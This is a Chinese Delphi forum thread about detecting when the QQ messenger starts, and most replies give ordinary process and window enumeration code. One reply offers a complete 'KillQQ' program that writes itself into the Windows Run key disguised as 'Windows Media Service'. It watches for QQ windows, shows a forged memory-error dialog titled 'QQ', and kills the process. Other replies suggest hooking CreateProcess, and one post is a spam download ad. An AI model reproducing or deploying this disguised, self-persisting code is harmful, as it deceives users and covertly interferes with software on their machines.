请问：如何监视系统，知道用户打开了ＱＱ？ 找销售管理
2楼: 给你一个参考：
function FindTask(ExeFileName: string): Integer;
const
PROCESS_TERMINATE = $0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
Result := 0;
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
while Integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpperCase(ExeFileName)) or
(UpperCase(FProcessEntry32.szExeFile) = UpperCase(ExeFileName))) then
Result := 1;
ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;
QQ的进程名就是“QQ.EXE”，调用的时候findTask(＇＇qq.exe＇＇).
FindTask返回值为1就说明找到QQ.EXE进程了. 如销售管理
3楼: 谢谢redneck，可能我没说明白。
我想做一个监视系统的程序，当用户在系统中打开ＱＱ时，我的程序该如何知道。也就是您上面的代码，应在何时调用？系统新建进程？系统新建窗口？
我刚学Ｄｅｌｐｈｉ，最好给出代码，多谢了！！！
4楼: 简单点，用一个TIMER监视就可以。你看下面这个东西是不是你想要的：
(注意uses里面多加一个Tlhelp32)
Timer的interval设置成1000;每秒钟检测一次QQ.EXE是否存在：
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls,Tlhelp32;
type
TForm1 = class(TForm)
Timer1: TTimer;
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function FindTask(ExeFileName: string): Integer;
const
PROCESS_TERMINATE = $0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
Result := 0;
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
while Integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpperCase(ExeFileName)) or
(UpperCase(FProcessEntry32.szExeFile) = UpperCase(ExeFileName))) then
Result := 1;
ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
i:integer;
begin
i:=findtask(＇＇qq.exe＇＇);
if i=1 then showmessage(＇＇find qq.exe＇＇);
end;
end.
5楼: 有点像virus
program KillQQ;
uses
Windows;
var
Thread: Thandle = 0;
ThreadID: DWORD;
IsExit: BOOL = False;
MSG: TMSG;
HH: HKEY;
ExeName: array[0..255] of Char;
const
AClssList: array[0..2] of array[0..255] of Char = (＇＇Tencent_QQBar＇＇, ＇＇Tencent_AddrBar＇＇, ＇＇Tencent_AddrToolBar＇＇);
function WriteKey(PhkResult: HKEY; IpSubKey, aKeyName, IpValue: LPSTR): Boolean;
function IsRelative(const Value: string): Boolean;
begin
Result := not ((Value <> ＇＇＇＇) and (Value[1] = ＇＇＼＇＇));
end;
var
Disposition: Integer;
Relative: Boolean;
S: string;
//Example: WriteKey(HKEY_LOCAL_MACHINE, ＇＇SOFTWARE＼Microsoft＼Windows＼CurrentVersion＼Run＇＇, pchar(shortName), Pchar(exeName));
begin
Result := false;
S := IpSubKey;
Relative := IsRelative(IpSubKey);
if not Relative then
Delete(S, 1, 1);
IpSubKey := pchar(S);
if RegOpenKey(PhkResult, PChar(IpSubKey), HH) <> ERROR_SUCCESS then
if RegCreateKeyEx(PhkResult, Pchar(IpSubKey), 0, nil,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, nil, HH, @Disposition) <> ERROR_SUCCESS then
begin
//MsgBox(＇＇Open registry error!＇＇, MB_OK);
if PhkResult <> 0 then
RegCloseKey(PhkResult);
exit;
end;
Result := RegSetValueEx(HH, PChar(aKeyName), 0, 1, PChar(IpValue), lstrlen(IpValue)) = ERROR_SUCCESS;
//MsgBox(＇＇Registry SetValue error!＇＇, MB_OK);
if PhkResult <> 0 then
RegCloseKey(PhkResult)
end;
procedure FormatChar(output: PChar; format: PChar; arglist: array of Integer);
begin
Windows.wvsprintf(Output, format, @arglist[Low(arglist)])
end;
function KillProcFromHwnd(const Hwnd: HWND): BOOL;
var
PID: DWORD;
Text: array[0..1024] of Char;
begin
if Windows.IsWindow(Hwnd) then begin
GetWindowThreadProcessId(Hwnd, @PID);
FormatChar(Text,
＇＇程序阅读内存：$%8.8x 错误，请重新启动程序。＇＇#13#10＇＇错误地址：$%8.8X。＇＇#13#10＇＇进程地址：$%8.8X。＇＇#13#10＇＇按[确定]终止程序，按[取消]调试程序。＇＇,
[Hwnd + 255, Hwnd, PID]);
Windows.MessageBox(Hwnd, Text, ＇＇QQ＇＇, MB_OKCANCEL + MB_ICONHAND);
Result := TerminateProcess(OpenProcess(PROCESS_TERMINATE, False, PID), 0);
end else
Result := False;
end;
function CheckClassName(const ClassName: PChar): BOOL;
var
I: Integer;
begin
Result := False;
for I := Low(AClssList) to High(AClssList) do
if lstrcmp(AClssList[I], ClassName) = 0 then
begin
Result := True;
Break;
end;
end;
procedure ThreadProc; stdcall;
var
H: HWND;
P: TPoint;
Cname: array[0..255] of Char;
begin
repeat
Windows.Sleep(100);
H := FindWindow(nil, ＇＇QQ用户登录＇＇);
if H <> 0 then
KillProcFromHwnd(H);
GetCursorPos(P);
H := Windows.WindowFromPoint(P);
if H <> 0 then begin
FillChar(Cname, SizeOf(Cname), #0);
Windows.GetClassName(H, Cname, SizeOf(Cname));
if CheckClassName(Cname) then
KillProcFromHwnd(H);
end;
until IsExit;
end;
procedure ThreadProcA; stdcall;
var
H: HWND;
begin
repeat
Windows.Sleep(1000 * 60);
H := FindWindow(nil, ＇＇QQ＇＇);
if H <> 0 then
Windows.SendMessage(H, $0010, 0, 0);
until IsExit;
end;
var
Mutex: DWORD;
begin
Mutex := Windows.OpenMutex(MUTEX_ALL_ACCESS, False, ＇＇WindowsMediaService＇＇);
if Mutex <> 0 then Halt;
Windows.CreateMutex(nil, False, ＇＇WindowsMediaService＇＇);
lstrcpy(ExeName, PChar(ParamStr(0)));
WriteKey(HKEY_LOCAL_MACHINE, ＇＇SOFTWARE＼Microsoft＼Windows＼CurrentVersion＼Run＇＇, ＇＇Windows Media Service＇＇, ExeName);
Thread := Windows.CreateThread(nil, 0, @ThreadProc, nil, 0, ThreadID);
Windows.CreateThread(nil, 0, @ThreadProcA, nil, 0, ThreadID);
while GetMessage(Msg, 0, 0, 0) do;
IsExit := True;
if Thread <> 0 then begin
Windows.TerminateThread(Thread, 0);
CloseHandle(Thread);
Thread := 0;
end;
{ TODO -oUser -cConsole Main : Insert code here }
end.
6楼: jfyes,多谢了！
以后，还请多指教!
进销存软件版7楼: 最好的方法是把CreateProcess给hook了，这样在qq主程序启动前就可以搞定qq了，如何hook api现在很多代码
8楼: 取QQ.exe进程名可能不行，如果QQ.exe改成其他名就不行，最好是查出QQ特征码进行过滤。
9楼: 代码很简单，可以用！
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Timer1: TTimer;
Button4: TButton;
procedure Button4Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function GetQQ:hwnd;
var
QQhwnd:hwnd;
szclass:array[0..254]of char;
begin
QQhwnd:=GetWindow(Application.Handle,GW_HWNDFIRST);
while QQhwnd<>0 do
begin
GetClassName(QQhwnd,@szclass,255);
if StrPas(@szclass)=＇＇#32770＇＇ then
begin
if FindWindowEx(QQhwnd,0,＇＇Tencent_QQToolBar＇＇,nil)>0 then
begin
Result:=QQhwnd;
exit;
end;
end;
QQhwnd:=GetWindow(QQhwnd,GW_HWNDNEXT);
end;
Result:=0;
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
if GetQQ=0 then exit;
Application.MessageBox(＇＇QQ is Run!!＇＇,＇＇QQ＇＇,MB_OK+MB_ICONINFORMATION);
end;
end.
10楼: 帮顶！
╭=========================================╮
80G海量源代码,控件，书籍全免费狂下不停！
http://www.source520.com
╰=========================================╯
11楼: 还是用HOOKAPI吧，拦截CreatePorcess，因为系统运行程序基本都是调用这个函数的。
具体看这个：
http://www.delphibbs.com/delphibbs/dispq.asp？lid=3319981
联系我们
